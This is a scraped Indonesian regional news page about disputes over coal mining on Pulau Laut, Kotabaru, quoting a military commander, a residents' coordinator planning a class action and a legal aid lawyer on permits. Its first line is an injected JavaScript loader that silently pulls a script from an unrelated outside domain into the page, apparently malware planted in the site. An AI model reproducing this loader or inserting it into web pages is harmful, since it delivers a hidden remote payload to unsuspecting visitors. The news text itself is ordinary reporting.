(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pro Kontra Tambang Pulau Laut, Siapa Sebenarnya Pegang Kendali?


Dandim 1004 Kotabaru Letkol Arh Samujiyo ketika diwawancarai mengungkapkan, keterlibatan TNI AD dengan Sebuku Grup karena telah menjalin kerjasama melalui koperasi.

“Sebuku Grup telah bekerjasama dengan beberapa koperasi yakni, pusat koperasi Tri Buana dari Kopassus, Dharma Putra dari Kostrad, Mulawarman dari Kodam VI dan terakhir adalah koperasi Marinir,” terangnya.

Sebelumnya Koordinator Masyarakat Penyelamat Pulau Laut Tolak Tambang, M Erfan kepada Kanal Kalimantan mengatakan, jika tetap ngotot melakukan penambangan di Sebuku, pihaknya akan melakukan class action.

“Kalau ternyata nanti ada aktifitas pertambangan yang dilakukan oleh Sebuku grup di kawasan Pulau Laut maka kami akan melakukan class action bersama-sama masyarakat. Selain itu, kami juga sudah berkoordinasi dengan Wahana Lingkungan Hidup (Walhi) Kalsel dan mereka siap mendukung upaya tersebut,” tuturnya.

Ia berharap, kepada Pemerintah Daerah dalam hal ini adalah Bupati Kotabaru agar tidak memberikan izin lingkungan kepada SILO grup. Sebab menurutnya, jelas nasib Pulau Laut berada diujung tanduk. Memang disadari bahwa pihak Provinsi Kalsel memiliki kewenangan terkait IUP namun apabila Pemda Kotabaru tidak memberikan izinnya maka pihak Provinsi pun tentu tidak akan menyetujuinya.

“Intinya, bola panasnya berada di tangan Pemda Kotabaru dan mudah-mudahan Bupati tidak memberikan izin lingkungannya kepada SILO grup untuk Pulau Laut bebas tambang,” tegasnya.

Sementara, tanggapan berbeda diungkapkan oleh salah satu aktifis lingkungan hidup yang juga Ketua Lembaga Bantuan Hukum (LBH) Saijaan, MN Asikin Ngile. Dia mengatakan, menyikapi beberapa hal yakni persoalan tambang Pulau Laut bukan perkara boleh tidak boleh, tapi bisa apa tidak.

Secara hukum boleh karena ada izin usaha dan secara lingkungan bisa ditambang melihat kajian Amdal yang ada dan kalaupun tidak bisa maka itu dinyatakan dengan kajian ilmu pengetahuan berkenaan dengan lingkungan, sosial, budaya dan politik.

“Soal Izin Lingkungan (IL)   kita mesti cermati dengan membaca dokumen yang ada apakah ada atau tidak ada IL dan kalau tidak ada maka pihak SILO harus membuat tapi kalau ada maka tidak ada yang mesti di persoalkan.  Hal mengenai tidak berkegiatan selama 3 tahun maka konsekuensinya harus diperbaharui tetapi tidak di cabut karena prasyarat IL SILO sudah terpenuhi (Amdal, RKL, RPL, IUP) jadi ini persoalan administrasi perizinan namun membawa implikasi hukum jika tidak diurus,” papar Asikin. (fauzi)

 


Page: 1 2

Desy Arfianty

Recent Posts

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

20 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

21 jam ago

Instansi Vertikal Disiapkan Masuk SKPD Instansi Mengajar di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pendidikan (Disdik) Kota Banjarbaru siap menggandeng instansi vertikal di Kota Banjarbaru,… Read More

22 jam ago

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik… Read More

22 jam ago

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

1 hari ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

2 hari ago

This website uses cookies.